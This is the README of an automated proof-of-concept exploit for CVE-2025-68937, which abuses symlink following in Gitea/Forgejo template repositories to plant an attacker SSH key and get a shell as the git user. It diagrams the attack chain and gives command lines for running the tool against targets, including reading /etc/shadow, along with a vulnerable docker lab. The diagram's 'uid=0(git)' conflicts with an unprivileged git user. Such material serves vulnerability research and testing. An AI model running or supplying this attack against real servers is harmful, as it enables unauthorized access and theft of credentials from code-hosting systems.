
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
Automated proof-of-concept for CVE-2025-68937: directory traversal via symlink dereferencing in Gitea and Forgejo template repository processing, leading to remote code execution.
Any authenticated user (no admin required) can obtain a shell as the git service user.
When generating a new repository from a template, Gitea/Forgejo copies template files and expands variables like ${REPO_DESCRIPTION} in files listed in .gitea/template. This process follows symbolic links without validation, allowing an attacker to read from and write to arbitrary files on the server.
| Detail | Value |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Critical |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| Auth Required | Yes (any user) |
| Admin Required | No |
| Software | Affected | Fixed |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, a template variable that Gitea expands.gitea/template listing authorized_keys for variable expansionauthorized_keys pointing to the git user's real authorized_keys fileauthorized_keys file (which contains our registered key with ${REPO_DESCRIPTION} in the comment), expands the variable to the child's description (our SSH key), and writes the result back through the symlinkgit with the injected key (no command= restriction)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Spin up a vulnerable instance:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000, finish the install wizard (SQLite works fine)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit and ssh-keygen on PATHThis tool is for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
| Flag | Default | Description |
|---|
-u, --url | required | Gitea/Forgejo base URL |
-U, --user | required | Username |
-P, --password | required | Password |
--git-home | /data/git | Git user home directory on target |
--ssh-host | from --url | SSH host to connect to |
--ssh-port | 22 | Gitea SSH port |
--timeout | 30 | Seconds to wait for SSH |
--command | interactive | Command to run after shell |
--cleanup | - | Remove exploit artifacts |